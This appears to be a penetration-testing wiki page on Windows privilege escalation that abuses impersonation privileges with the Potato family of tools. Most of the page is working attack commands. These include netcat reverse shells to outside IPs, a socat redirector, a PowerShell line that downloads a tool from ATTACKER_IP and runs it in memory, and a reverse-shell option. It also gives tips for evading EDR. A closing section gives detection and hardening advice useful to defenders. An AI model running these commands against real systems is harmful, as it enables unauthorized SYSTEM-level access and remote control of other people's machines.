> [!WARNING]
|

> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
|
||
|
||
> [!TIP]
|
||
> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.

## Requirements and common gotchas
|
||
|
||
All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges:
|
||
|
||
- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
|
||
- High integrity is not required if the token already has SeImpersonatePrivilege (typical for many service accounts such as IIS AppPool, MSSQL, etc.)
|
||
|
||
Check privileges quickly:
|
||
|
||
```cmd
|
||
whoami /priv | findstr /i impersonate
|
||
```
|
||
|
||
Operational notes:
|
||
|
||
- If your shell runs under a restricted token lacking SeImpersonatePrivilege (common for Local Service/Network Service in some contexts), regain the account’s default privileges using FullPowers, then run a Potato. Example: `FullPowers.exe -c "cmd /c whoami /priv" -z`
|
||
- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||
- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
|
||
- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
|
||
- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running.
|
||
|
||
## Quick Demo
|
||
|
||
### PrintSpoofer
|
||
|
||
```bash
|
||
c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
|
||
|
||
--------------------------------------------------------------------------------
|
||
|
||
[+] Found privilege: SeImpersonatePrivilege
|
||
|
||
[+] Named pipe listening...
|
||
|
||
[+] CreateProcessAsUser() OK
|
||
|
||
NULL
|
||
|
||
```
|
||
|
||
Notes:
|
||
- You can use -i to spawn an interactive process in the current console, or -c to run a one-liner.
|
||
- Requires Spooler service. If disabled, this will fail.
|
||
|
||
### RoguePotato
|
||
|
||
```bash
|
||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
|
||
# In some old versions you need to use the "-f" param
|
||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||
```
|
||
|
||
If outbound 135 is blocked, pivot the OXID resolver via socat on your redirector:
|
||
|
||
```bash
|
||
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
|
||
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
|
||
|
||
# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP
|
||
RoguePotato.exe -r REDIRECTOR_IP -e "cmd.exe /c whoami" -l 9999
|
||
```
|
||
|
||
### SharpEfsPotato
|
||
|
||
```bash
|
||
> SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
|
||

|
||
[+] Pipe: \pipe\lsarpc

|
||
|
||
Tip: If one pipe fails or EDR blocks it, try the other supported pipes:
|
||
|
||
```text
|
||
EfsPotato <cmd> [pipe]
|
||
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||
```
|
||
|
||
### GodPotato
|
||
|
||
```bash
|
||
> GodPotato -cmd "cmd /c whoami"
|
||
# You can achieve a reverse shell like this.
|
||
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
|
||
```
|
||
|
||
Notes:
|
||
- Works across Windows 8/8.1–11 and Server 2012–2022 when SeImpersonatePrivilege is present.
|
||
|
||
### DCOMPotato
|
||
|
||
|
||
|
||
DCOMPotato provides two variants targeting service DCOM objects that default to RPC_C_IMP_LEVEL_IMPERSONATE. Build or use the provided binaries and run your command:
|
||
|
||
```cmd
|
||
# PrinterNotify variant
|
||
PrinterNotifyPotato.exe "cmd /c whoami"
|
||
|
||
# McpManagementService variant (Server 2022 also)
|
||
McpManagementPotato.exe "cmd /c whoami"
|
||
```
|
||
|
||
### SigmaPotato (updated GodPotato fork)
|
||
|
||
SigmaPotato adds modern niceties like in-memory execution via .NET reflection and a PowerShell reverse shell helper.
|
||
|
||
```powershell
|
||
# Load and execute from memory (no disk touch)
|
||
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
|
||
[SigmaPotato]::Main("cmd /c whoami")
|
||
|
||
# Or ask it to spawn a PS reverse shell
|
||
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
|
||
```
|
||
|
||
## Detection and hardening notes
|
||
|
||
- Monitor for processes creating named pipes and immediately calling token-duplication APIs followed by CreateProcessAsUser/CreateProcessWithTokenW. Sysmon can surface useful telemetry: Event ID 1 (process creation), 17/18 (named pipe created/connected), and command lines spawning child processes as SYSTEM.
|
||
- Spooler hardening: Disabling the Print Spooler service on servers where it isn’t needed prevents PrintSpoofer-style local coercions via spoolss.
|
||
- Service account hardening: Minimize assignment of SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege to custom services. Consider running services under virtual accounts with least privileges required and isolating them with service SID and write-restricted tokens when possible.
|
||
- Network controls: Blocking outbound TCP/135 or restricting RPC endpoint mapper traffic can break RoguePotato unless an internal redirector is available.
|
||
- EDR/AV: All of these tools are widely signatured. Recompiling from source, renaming symbols/strings, or using in-memory execution can reduce detection but won’t defeat solid behavioral detections.
